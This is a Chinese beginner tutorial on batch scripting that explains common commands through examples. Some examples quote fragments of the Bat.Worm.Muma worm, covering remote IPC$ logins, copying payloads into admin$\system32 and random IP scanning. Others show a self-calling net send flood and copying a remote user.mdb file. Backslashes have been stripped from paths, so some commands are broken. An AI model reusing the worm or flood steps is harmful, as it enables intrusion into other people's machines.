学会批处理，用心学很容易

这是一篇技术教程真心诚意会用很简单的文字表达清楚自己的意思只要你识字就能看懂就能学到知识。写这篇教程的目的是让每一个看过这些文字的朋友记住一句话如果爱可以让事情变的更简单那么就让它简单吧看这篇教程的方法就是慢慢慢的如同品一个女人、一杯茗茶你会发现很多以前就在眼前的东西突然变的很遥远而有些很遥远的东西却又突然回到了眼前

先概述一下批处理是个什么东东。批处理的定义至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟当然就更不用说了但我想总结出一个“比较合适的”而且我也相信自己可以把它解释的很清楚让更多的菜鸟都知道这是个什么东东你用这个东东可以干什么事情。或许你会因为这篇文章而“无条件爱上批处理”那么我的目的就达到了----我就是要让你爱上它我就这么拽你能怎么着真的爱有时候就这么拽就是这么没理由就是这么不要脸真的
按照我的理解批处理的本质是一堆DOS命令按一定顺序排列而形成的集合

OK,never claver and get to business闲话少说言归正传。批处理也称为批处理脚本英文译为BATCH批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式只要遵守以下这条就ok了每一行可视为一个命令每个命令里可以含多条子命令从第一行开始执行直到最后一行结束它运行的平台是DOS。批处理有一个很鲜明的特点使用方便、灵活功能强大自动化程度高。我不想让自己写的教程枯燥无味因为牵缠到代码批处理的内容算是代码吧的问题本来就是枯燥的很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力感受它那古灵精怪的性格不知不觉中爱上批处理晕怎么又是爱到底批处理和爱有什么关系答案没有。再说句“闲话”要学好批处理DOS基础一定要牢当然脑子灵活也是很重要的一方面

例一、先给出一个最easy的批处理脚本让大家和它混个脸熟将下面的几行命令保存为name.bat然后执行以后文中只给出代码保存和执行方式类似

ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
ping sz7.tencent.com >> a.txt
exit

是不是都能看的懂是不是很easy但它的作用却是很实用的执行这个批处理后可以在你的当前盘建立一个名为a.txt的文件它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器从而远离“从服务器中转”那一痛苦的过程。这里>的意思是把前面命令得到的东西放到后面所给的地方>>的作用和>的相同区别是把结果追加到前一行得出的结果的后面具体的说是下一行而前面一行命令得出的结果将保留这样可以使这个a.txt文件越来越大想到如何搞破坏了。By the way这个批处理还可以和其他命令结合搞成完全自动化判断服务器速度的东东执行后直接显示速度最快的服务器IP是不是很爽后面还将详细介绍
例二、再给出一个已经过时的例子a.bat
@echo off

if exist C:Progra~1TencentAD*.gif del C:Progra~1TencentAD*.gif
a.bat
为什么说这是个过时的例子呢很简单因为现在已经几乎没有人用带广告的QQ了KAO我的QQ还显示好友三围呢所以它几乎用不上了。但曾经它的作用是不可小窥的删除QQ的广告让对话框干干净净。这里用的地址是QQ的默认安装地址默认批处理文件名为a.bat你当然可以根据情况自行修改。在这个脚本中使用了if命令使得它可以达到适时判断和删除广告图片的效果你只需要不关闭命令执行后的DOS窗口不按CTRL+C强行终止命令它就一直监视是否有广告图片QQ也再不断查看自己的广告是否被删除。当然这个脚本占用你一点点内存呵呵

例三使用批处理脚本查是否中冰河。脚本内容如下
@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit

这里利用了netstat命令检查所有的网络端口状态只需要你清楚常见***所使用的端口就能很easy的判断出来是否被人种了冰河。然这不是确定的因为冰河默认的端口7626完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动就变成可以检查其他***的脚本了再改动一下加进去参数和端口及信息列表文件后就变成自动检测所有***的脚本了。呵呵是不是很过瘾脚本中还利用了组合命令&&和管道命令|后面将详细介绍

例四借批处理自动清除系统垃圾脚本如下

@echo off
if exist c:windowstemp*.* del c:windowstemp*.*
if exist c:windowsTempor~1*.* del c:windowsTempor~1*.*
if exist c:windowsHistory*.* del c:windowsHistory*.*
if exist c:windowsrecent*.* del c:windowsrecent*.*
将以上脚本内容保存到autoexec.bat里每次开机时就把系统垃圾给自动删除了。这里需要注意两点一、DOS不支持长文件名所以就出现了Tempor~1这个东东二、可根据自己的实际情况进行改动使其符合自己的要求。

批处理看起来杂乱无章但它的逻辑性之强绝对不比其他程序语言如汇编低如果你写的脚本是一堆乱麻虽然每一行命令都正确但从头执行到尾后不一定得到你想要的结果也许是一屏幕的Bad command or fail name。这又和爱情有了共同点按步骤来经营缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友相信没有不肯定这句话的。我的爱情批处理输出的结果不是Bad command or fail name屏幕是这么显示的‘你的爱情’不是内部或外部命令也不是可运行的程序或批处理文件。然后就是光标不停闪动等待这下一次错误的输入。

从这一章开始将由浅入深的介绍批处理中常用的命令很多常见DOS命令在批处理脚本中有这广泛的应用它们是批处理脚本的BODY部分但批处理比DOS更灵活多样更具备自动化。要学好批处理DOS一定要有比较扎实的基础。这里只讲述一些比较少用相对来说的DOS命令常用命令如COPY、DIR等就不做介绍了这些看似简单的命令实际复杂的很我怕自己都说不清楚。
例五先看一个实例。这是一个很有意思的脚本一个小巧实用的好东东把批处理“自动化”的特点体现的淋漓尽致。先介绍一下这个脚本的来历大家都知道汇编程序MASM的上机过程先要对源代码进行汇编、连接然后再执行而这中间有很多环节需要输入很多东西麻烦的很只有经历过的朋友才懂得。如何使这个过程变的简单呢在我们搞汇编课程设计时我“被逼”写了这个脚本用起来很爽呵呵。看看脚本内容

@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller***@sina.com
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/ " goto usage
::if paramater is "/ " goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage

先不要被这一堆的东西给吓怕了静下心来仔细的看回想一下第一章中第一段是怎么写的。已经给出了每一行命令的解释两个冒号后面的内容为前一行内容解释的E文害怕E文的朋友也不用担心都很easy一看就懂了实在不懂了不会查词典啊这么懒在脚本执行时不显示也不起任何作用。倒数第5行行首有一个冒号可不是笔误哦具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序必须和edit程序以及你要编辑的源代码当然还有这个脚本废话一起在当前目录中。使用这个批处理脚本可以最大可能的减少手工输入整个过程中只需要按几下回车键即可实现从汇编源代码到可执行exe文件的自动化转换并具备智能判断功能如果汇编时源代码出现错误汇编不成功则自动暂停显示错误信息并在按任意键后自动进入编辑源代码界面如果源代码汇编成功则进行连接并在连接后自动执行生成的exe文件。另外由于批处理命令的简单性和灵活性这个脚本还具备良好的可改进性简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友一定别忘了实习一下
在这个脚本中出现了如下几个命令@、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令

1、@
这个符号大家都不陌生email的必备符号它怎么会跑到批处理中呢呵呵不是它的错批处理本来就离不开它要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身多么绕口的一句话。呵呵通俗一点说行首有了它的话这一行的命令就不显示了。在例五中首行的@echo off中@的作用就是让脚本在执行时不显示后面的echo off部分。这下懂了吧还是不太懂没关系看完echo命令简介自然就懂了

2、echo
中文为“反馈”、“回显”的意思。它其实是一个开关命令就是说它只有两种状态打开和关闭。于是就有了echo on和echo off两个命令了。直接执行echo命令将显示当前echo命令状态off或on执行echo off将关闭回显它后面的所有命令都不显示命令本身只显示执行后的结果除非执行echo on命令。在例五中首行的@命令和echo off命令联合起来达到了两个目的不显示echo off命令本身不显示以后各行中的命令本身。的确是有点乱但你要是练习一下的话3分钟包会不会的退钱

echo命令的另一种用法一可以用它来显示信息如例五中倒数第二行Default BAT file name is START.BAT将在脚本执行后的窗口中显示而echo命令本身不显示为什么。
echo命令的另一种用法二可以直接编辑文本文件。例六
echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat

以上脚本内容的编辑方法是直接是命令行输入每行一回车。最后就会在当前目录下生成一个a.bat的文件直接执行就会得到结果

3、::
这个命令的作用很简单它是注释命令在批处理脚本中和rem命令等效。它后面的内容在执行时不显示也不起任何作用因为它只是注释只是增加了脚本的可读性和C语言中的/*…………*/类似。地球人都能看懂就不多说了

4、pause
中文为“暂停”的意思看看你的workman上我一直认为它是批处理中最简单的一个命令单纯、实用。它的作用是让当前程序进程暂停一下并显示一行信息请按任意键继续. . .。在例五中这个命令运用了两次第一次的作用是让使用者看清楚程序信息第二个是显示错误的汇编代码信息其实不是它想显示而是masm程序在显示错误信息时被暂它停了以便让你看清楚你的源代码错在哪里。

5、:和goto
为什么要把这两个命令联合起来介绍因为它们是分不开的无论少了哪个或多了哪个都会出错。goto是个跳转命令:是一个标签。当程序运行到goto时将自动跳转到:定义的部分去执行了是不是分不开。例五中倒数第5行行首出现一个:则程序在运行到goto时就自动跳转到:标签定义的部分执行结果是显示脚本usageusage就是标签名称。不难看出goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方它们是一一对应的关系。goto命令也经常和if命令结合使用。至于这两个命令具体用法参照例五

goto命令的另一种用法一提前结束程序。在程序中间使用goto命令跳转到某一标签而这一标签的内容却定义为退出。如
……
goto end
……
:end
这里:end在脚本最后一行其实这个例子很弱智后面讲了if命令和组合命令你就知道了

6、%
这个百分号严格来说是算不上命令的它只是批处理中的参数而已多个%一起使用的情况除外以后还将详细介绍但千万别以为它只是参数就小看了它看看例五中有多少地方用到它少了它批处理的功能就减少了51%了。看看例七
net use \%1ipc$ %3 /u:"%2"
copy 11.BAT \%1admin$system32 /y
copy 13.BAT \%1admin$system32 /y
copy ipc2.BAT \%1admin$system32 /y
copy NWZI.EXE \%1admin$system32 /y
attrib \%1admin$system32?.bat -r -h -s

以上代码是Bat.Worm.Muma病毒中的一部分%1代表的IP2%代表的username3%代表password。执行形式为脚本文件名 参数一 参数二 ……。假设这个脚本被保存为a.bat则执行形式如下a IP username password。这里IP、username、password是三个参数缺一不可因为程序不能正确运行并不是因为少了参数语法就不对这样在脚本执行过程中脚本就自动用用你的三个参数依次记住是依次也是一一对应的关系。代换1%、2%和3%这样就达到了灵活运用的目的试想如果在脚本中直接把IP、username和password都定义死那么脚本的作用也就被固定了但如果使用%的话不同的参数可以达到不同的目的是不是更灵活。

关于这个参数的使用在后续章节中还将介绍。一定要非常熟练才行这需要很多练习过程需要下点狠工夫

这一章就写到这里了。可能有朋友问了怎么没介绍if命令呵呵不是我忘了而是它不容易说清楚下一章再讲了这一章讲的这点东西如果你是初学者恐怕也够消化的了。记住一句话DOS是批处理的BODY任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里你是否已经想到了用自己肚子里的东西去写点带有自动化色彩的东东呢很简单就是一个DOS命令的集合而已相信自称为天才的你已经会把计算机等级考试上机试题中的DOS部分用批处理来自动化完成了
7、if

接上一章接着讲if命令。总的来说if命令是一个表示判断的命令根据得出的每一个结果它都可以对应一个相应的操作。关于它的三种用法在这里分开讲。
(1)、输入判断。还是用例五里面的那几句吧

if "%1"=="" goto usage
if "%1"=="/ " goto usage
if "%1"=="help" goto usage

这里判断输入的参数情况如果参数为空无参数则跳转到usage如果参数为/ 或help时大家一般看一个命令的帮助是不是输入的/ 或help呢这里这么做只是为了让这个脚本看起来更像一个真正的程序也跳转到usage。这里还可以用否定形式来表示“不等于”例如if not "%1"=="" goto usage则表示如果输入参数不为空就跳转到usage实际中这样做就没意义了这里介绍用法管不了那么多了呵呵。是不是很简单其实翻译成中文体会一下就understand了。

(2)、存在判断。再看例二里这句

if exist C:Progra~1TencentAD*.gif del C:Progra~1TencentAD*.gif

如果存在那些gif文件就删除这些文件。当然还有例四都是一样的道理。注意这里的条件判断是判断存在的当然也可以判断不存在的例如下面这句“如果不存在那些gif文件则退出脚本”if not exist C:Progra~1TencentAD*.gif exit。只是多一个not来表示否定而已。

(3)、结果判断。还是拿例五开刀没想到自己写的脚本竟然用处这么大呵呵
masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj

先对源代码进行汇编如果失败则暂停显示错误信息并在按任意键后自动进入编辑界面否则用link程序连接生成的obj文件。这里只介绍一下和if命令有关的地方&命令后面会讲到。这种用法是先判断前一个命令执行后的返回码也叫错误码DOS程序在运行完后都有返回码如果和定义的错误码符合这里定义的错误码为1则执行相应的操作这里相应的操作为pause & edit %1.asm部分。

另外和其他两种用法一样这种用法也可以表示否定。用否定的形式仍表达上面三句的意思代码变为

masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm

看到本质了吧其实只是把结果判断后所执行的命令互换了一下“if not errorlevel 1”和“if errorlevel 0”的效果是等效的都表示上一句masm命令执行成功因为它是错误判断而且返回码为00就表示否定就是说这个错误不存在就是说masm执行成功。这里是否加not错误码到底用0还是1是值得考虑的两个问题一旦搭配不成功脚本就肯定出错所以一定要体会的很深刻才行。如何体会的深刻练习自己写一个脚本然后把有not和没有not的情况返回码为0或1的情况分别写进去执行怎么嫌麻烦啊排列组合算一下才四中情况你就嫌麻烦了后面介绍管道命令和组合命令时还有更麻烦的呢怕了呵呵。这样从执行的结果中就能很清楚的看出这两种情况的区别

这种用errorlevel结果判断的用法是if命令最难的用法但也恰恰是最有用的用法如果你不会用errorlevel来判断返回码则要达到相同的效果必须用else来表示“否则”的操作是比较麻烦的。以上代码必须变成

masm %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm

关于if命令的这三种用法就say到这里理解很简单但应用时就不一定用的那么得心应手主要是熟练程度的问题。可能有的朋友有点惊讶我怎么没给出类似下面三行的用法介绍是因为下面三行是if命令帮助里对它自身用法的解释任何人只要一个“if / ”就能看到我没有必要在这里多费口舌更重要的原因是我觉得这样介绍的不清楚看的人不一定看的懂所以我采用上面自己对if命令的理解来介绍。一定要注意的是这三种用法的格式各不相同而且也是不能改变的但实际上可以互换以为从本质上讲这三种用法都是建立在判断的基础上的哲学教我们学会透过现象看事物本质。有兴趣的朋友可以自己研究一下

IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command

8、call
学过汇编或C的朋友肯定都知道call指令表示什么意思了在这里它的意思其实也是一样的。在批处理脚本中call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat
start.bat
……
CALL 10.BAT 0
……
10.bat
……
ECHO %IPA%.%1 >HFIND.TMP
……
CALL ipc.bat IPCFind.txt

ipc.bat
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k

有没有看出什么不对的地方没看出来啊没看出来就对了其实就没有不对的地方嘛你怎么看的出来从上面两个脚本你可以得到如下信息1、脚本调用可以灵活运用循环运用、重复运用。2、脚本调用可以使用参数关于第一点就不多说了聪明的你一看就应该会这里说一下第二点。

在start.bat中10.bat后面跟了参数0在执行时的效果其实就是把10.bat里的参数%1用0代替。在start.bat中ipc.bat后面跟了参数ipcfind.txt一个文件也可以做参数执行时的效果就是用ipc.bat中的每一行的三个变量这里不懂没关系学过for命令后就懂了对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的使用时需要好好体会。在初学期间可以先学习只调用脚本至于连脚本的参数一起使用的情况在后面的学习中自然就会有比较深刻的理解这是因为当你已经可以灵活运用批处理脚本后如何使代码写的更精简更完美更高效就自然包括到了考虑的范围这时候你就会发现在调用脚本时直接加入参数可以使代码效率加倍。By the way上面的这几个脚本都是Bat.Worm.Muma病毒的一部分在后面的教程里大家将有机会见到这个病毒的真面目。
那是不是说在同一个目录下至少存在两个批处理脚本文件只有一个你调用谁呵呵注意了这句话错了只有一个照样可以调用----调用自身看例九默认脚本文件名a.bat

net send %1 This is a call example.
call a.bat

这两句一结合效果自然不怎么样因为只有一台机器来发消息谁怕谁啊我给你来个礼尚往来可如果有100台机器同时执行而且每台机器开10和窗口同时向一个目标机器发消息的话呵呵。这里call a.bat的作用就是调用自身执行完前一句net send命令后再调用自身达到了循环执行的目的

给出一个很有意思的脚本有兴趣的朋友可以实验一下。例十默认脚本文件名为a.bat

call a.bat

一定要在DOS窗口下执行否则只会看到一个窗口一闪而过看不到最后结果。等执行完后当脚本被执行了1260次别忘了想一下到底是为什么爱情有时候跟这个脚本一样一旦陷入死循环最后的结果都是意想不到的。只是爱情绝对不会等到被毫无理由的循环这么多次也许在第三次时就出现了love is aborted的提示。

9、find
这是一个搜索命令用来在文件中搜索特定字符串通常也作为条件判断的铺垫程序我怎么突然想起了这四个字。这个命令单独使用的情况在批处理中是比较少见的因为没什么实际意义。还是借例三来说明

@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit
先用netstat命令检查是否有冰河默认的端口7626在活动并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容再在列出的内容中搜索字符串“7626” 发现有的话则提示中了冰河否则退出。看find命令其实就这么简单但有一点必须要注意到如果不使用type命令列出a.txt中的内容而是直接使用find命令在a.txt中找“7626”find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"就必须得给出这个a.txt的绝对路径我试过了find并没有默认路径就是当前路径的功能必须手动指定。也许是我错了欢迎指正。因为在find命令的帮助里有这么一句话如果没有指定路径find将搜索键入的或者由另一个命令产生的文字。这里的“另一个命令”自然就指的type命令了。

至于find命令的其他几个参数如v、n、i等有兴趣的朋友自己去研究吧这已经属于DOS学习的内容了这里就不做介绍。关于find命令和其他命令的一些更精妙的用法有些简直令人叫绝后续的教程中将介绍希望关注

10、for、set、shift
为什么把这三个命令放到一起来讲原因除了我说明外恐怕谁也想不到很简单的一句话其实我也不太懂是的对于这两个命令我是从研究Bat.Worm.Muma病毒开始学习的时间过去了不少但还是没完全搞明白我怕讲出来连自己都看不懂我更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你如何让这两个命令给自己留一个初步的印象其实也就是这两个命令的入门而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令特别是for谈何容易也许你会表扬我说我诚实、不懂就不懂也许你会骂我让我既然不懂就赶紧滚蛋不要在这里丢人显眼也许你还会说一些别的这样那样好听或不好听的话都随便你了即使我不同意你说的话我也会誓死捍卫你说话的权利。看例十一

@echo off
for / > for.txt
set / > set.txt
shift / >shift.txt
exit

执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文件里面分别记录了for命令、set命令和shift命令的帮助信息。地球人都能看懂我就不多说了。我在网上曾经找了很长时间这三个命令的教程但都不理想基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令后一定要写一篇用自己的文字总结出来的for、set和shift教程关于shift命令后面介绍批处理的参数时还将涉及到一定会的这是我的心愿之一需要注意的一点是这三个命令的帮助里 介绍的都比较死板虽然也举了一些例子但这是远远不够的。要掌握这两个命令最需要的就是耐心没写错就是耐心。光是认真看完它们的帮助文字就已经需要足够的耐心了要进一步练习领会这两个命令难道不需要更大的耐心实战练习的机会我会留给你的关键还是那句话看你有没有耐心去研究了。看看例十二

START.BAT
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START

这是Bat.Worm.Muma病毒的起始脚本设置了病毒运行的环境变量。是不是看的头都大了又忘了写在第一章第一段的那句话静下心来你应该能体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人你得学会宽容打不得骂不得用你宽大的胸怀去包容她的一切即使你发现爱她的过程如看上面代码的过程一样让你头大但你还是得爱下去----爱需要理由吗不需要吗需要吗不需要吗……等到风平浪静后最直观的收获就是你的耐心变的前所未有的充足面对她的复杂和善变你自己会处变不惊以自己的方式去从容应付曾经应付不了的场面即使到最后一身伤痕也会感慨曾经的举动有多么伟大。
不得不再次重申一遍各种DOS命令是批处理的BODY我实在找不出一个更合适的词来形容他们之间的关系学好DOS命令是学好批处理的前提。其他DOS命令如copy、dir、del、type、path、break、start等内部命令以及ping、net、cmd、at、sort、attrib、fc、find等外部命令在批处理里的应用非常广泛。这篇教程的作用是教你认识批处理以及如何利用DOS命令组合出来一个完美的批处理脚本去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的这已经超出了本文的范畴在此就不赘述了

可以说批处理脚本中最重要的几个命令我都没有给出如echo或if那样比较详细的介绍原因我已经说了因为我也是个菜我也不太懂----但我正在学你呢今天又去了一趟图书馆淘金一样发现了一本叫《DOS批文件》的东东藏在一个角落里落满了灰五本摞一起就跟砖头一样厚了。大概翻了一下里面介绍了很多比较底层和基础的东西虽然从思路上讲已经有点time out了很多东西已经基本没有利用的价值这就是信息时代的更新速度但还是很值得看的。于是打算下午淘过来放假回去了再好好研究一番连同那几个不熟悉的命令一起搞熟了再续写这篇教程。我始终坚信没有最好只有更好。

下面从管道命令讲起。常用的管道命令有以下这些|、>、>>

11、|
这个命令恐怕大家不是很陌生经常操作DOS的朋友都应该知道当我们查看一个命令的帮助时如果帮助信息比较长一屏幕显示不完时DOS并不给我们时间让我们看完一屏幕再翻到另一屏幕而是直接显示到帮助信息的最后。如在提示符下输入help回车时就会看到当前DOS版本所支持的所有非隐含命令但你只能看到最后的那些命令前面的早就一闪而过了如何解决这个问题看例十三

help | more
回车后会发现显示满一屏幕后就自动暂停等候继续显示其他信息。当按写回车时变成一个一个的出现按下空格键时一屏幕一屏幕显示直到全部显示完为止按其他键自动停止返回DOS。
为什么会出现上述现象答案很简单这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令对理解|命令的用法有很大帮助。

11.1、help命令。其实这个命令是不需要多说的但在上述例子中help命令的用法比较特殊直接在DOS提示符下输入help命令结果是让DOS显示其所支持的所有非隐含命令而在其他地方用help命令如输入net help回车则是显示net命令的帮助信息。

11.1、help命令。其实这个命令是不需要多说的但在上述例子中help命令的用法比较特殊直接在DOS提示符下输入help命令结果是让DOS显示其所支持的所有非隐含命令而在其他地方用help命令如输入net help回车则是显示net命令的帮助信息

11.2、more命令。可能很多朋友以前就没有接触过这个命令这个命令在Linux下的用处非常广泛也是管道命令之一。大家可以找一篇比较长的文章a.txt在DOS提示符下输入如下两个命令去比较一下差别more a.txt和type a.txt。利用more命令可以达到逐屏或逐行显示输出的效果而type命令只能一次把输出显示完最后的结果就是只能看到末尾的部分。在例十三里more命令的作用就是让输出的信息逐屏或逐行显示

看到这里你是否已经能隐约感受到了|命令的作用了没错它的作用就是把前一命令的输出当后一命令的输入来用的。在例十三里前一命令的输出就是help命令执行后显示的DOS所支持的所有非隐含命令而这个结果刚好做了后一命令more的输入。所以例十三和下面的例十四是等效的

help > a.txt
more a.txt
del a.txt

这里利用另一管道命令>生成了一个a.txt文件作为中间环节在用more命令查看a.txt文件后再删除a.txt文件例十三的所有操作是在内存中进行的不生成文件。可以看出正确使用管道命令|可以带来事半功倍的效果。

结合例十三和例十四以及前面的例九再体会一遍|命令的作用就是让前一命令的输出当做后一命令的输入

12、>、>>
两个命令的效果从本质上来说都是一样的他们都是输出重定向命令说的通俗一点就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是>会清除掉原有文件中的内容后把新的内容写入原文件而>>只会另起一行追加新的内容到原文件中而不会改动其中的原有内容。例十五

echo @echo off > a.bat
echo echo This is a pipeline command example. >> a.bat
echo echo It is very easy >> a.bat
echo echo Believe your self! >> a.bat
echo pause >> a.bat
echo exit >> a.bat

依次在DOS提示符下输入以上各行命令一行一个回车将在当前目录下生成一个a.bat文件里面的内容如下

@echo off
echo This is a pipeline command example.
echo It is very easy
pause
exit
看到这里你得到了多少信息1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本而不需要专门的文本编辑工具2、管道命令>和>>的区别如上所述。如果这里只用>命令来完成上面操作最后也会生成一个a.bat但里面的内容就只剩下最后一行exit了。所以>和>>一般都联合起来用除非你重定向的输出只有一行那么就可以只用>了。结合例一再仔细体会输出重定向管道命令>和>>的用法。

13、<、>&、<&

这三个命令也是管道命令但它们一般不常用你只需要知道一下就ok了当然如果想仔细研究的话可以自己查一下资料

<输入重定向命令从文件中读入命令输入而不是从键盘中读入
>&将一个句柄的输出写入到另一个句柄的输入中
<&刚好和>&相反从一个句柄读取输入并将其写入到另一个句柄输出中

关于这三个管道命令的举例在后面批处理脚本的精妙应用中还将涉及到

下面介绍组合命令&、&&、||

组合命令顾名思义就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的而且用的非常广泛。它的格式很简单----既然现在已经成了一个文件了那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。组合命令的作用就如同给爱人陪不是说一句是说说十句也是说不一次把好话都说了出来效果可能会好些----当然得排除一种特殊情况这些话是否有先后顺序有些话是否可以同时说。在批处理脚本里也一样有些时候某些命令是不能同时执行的后面给你说

14、&
这可以说是最简单的一个组合命令了它的作用是用来连接n个DOS命令并把这些命令按顺序执行而不管是否有命令执行失败。例十六

copy a.txt b.txt /y & del a.txt

其实这句和move a.txt b.txt的效果是一样的只不过前者是分了两步来进行的在后面还将涉及到具体使用哪种方法的问题。这个命令很简单就不多费口舌了唯一需要注意的一点是这里&两边的命令是有执行顺序的从前往后执行
15、&&

切记这里介绍的几个命令都是组合命令所以他们前后都必须都有其他命令要不如何组合。这个命令也不例外它可以把它前后两个命令组合起来当一个命令来用与&命令不同之处在于它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错一旦发现出错后将不继续执行后面剩下的命令。这就为我们自动化完成一些任务提供了方便。例十七

dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:backupwww
如果远程主机存在user.mdb则copy到本地e:backupwww如果不存在当然就不执行copy了。这句对搞网管的朋友是否有点用呢呵呵。其实它和下面这句的作用是一样的

Jif exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:backupwww

至于你喜欢用哪个就随便了我没办法判断dir和if两个命令哪一个执行效率更高所以不知道用哪个更好呵呵

你是否还记得“有些命令是不能同时执行的”你是否相信这句话当然得相信不信就给你出道题把C盘和D盘的文件和文件夹列出到a.txt文件中。你将如何来搞定这道题有朋友说这还不是很easy的问题吗同时执行两个dir然后把得到的结果>到a.txt里就ok了嘛看例十八

dir c: && dir d: > a.txt

仔细研究一下这句执行后的结果看看是否能达到题目的要求错了这样执行后a.txt里只有D盘的信息为什么就因为这里&&命令和>命令不能同时出现一个句子里批处理把一行看成一个句子组合命令&&的优先级没有管道命令>的优先级高自己总结的不妥的地方请指正所以这句在执行时将本分成这两部分dir c:和dir d: > a.txt而并不是如你想的这两部分dir c: && dir d:和> a.txt。要使用组合命令&&达到题目的要求必须得这么写

dir c: > a.txt && dir d: >> a.txt
这样依据优先级高低DOS将把这句话分成以下两部分dir c: > a.txt和dir d: >> a.txt。例十八中的几句的差别比较特殊值得好好研究体会一下。

当然这里还可以利用&命令自己想一下道理哦
dir c: > a.txt & dir d: >> a.txt

16、||
这个命令的用法和&&几乎一样但作用刚好和它相反利用这种方法在执行多条命令时当遇到一个执行正确的命令就退出此命令组合不再继续执行下面的命令。题目查看当前目录下是否有以s开头的exe文件如果有则退出。例十九

@echo off
dir s*.exe || exit
其实这个例子是有破绽的你看出来了吗其实很简单自己试试就知道了嘛如果存在那个exe文件就退出如果不存在那个exe文件也退出为什么因为如果不存在那个.exe文件则前一条命令dir s*.exe执行肯定是不成功的所以就继续执行exit自然就退出了呵呵。那么如何解决题目给出的问题呢看例二十
@echo off
dir s*.exe || echo Didn't exist file s*.exe & pause & exit

这样执行的结果就能达到题目的要求是否存在s*.exe将出现两种结果。这里加暂停的意思当然是让你能看到echo输出的内容否则一闪而过的窗口echo就白写了
给出两个更好研究优先级同时也是更难理解的脚本仔细研究它们的区别以便彻底理解各种命令的优先级顺序对以后自己利用这些命令写脚本有很大的好处----不会出错OK请看例二十一和例二十二

例二十一

@echo off
dir a.ttt /a & dir a.txt || exit

例二十二

@echo off
dir a.ttt /a && dir a.txt || exit

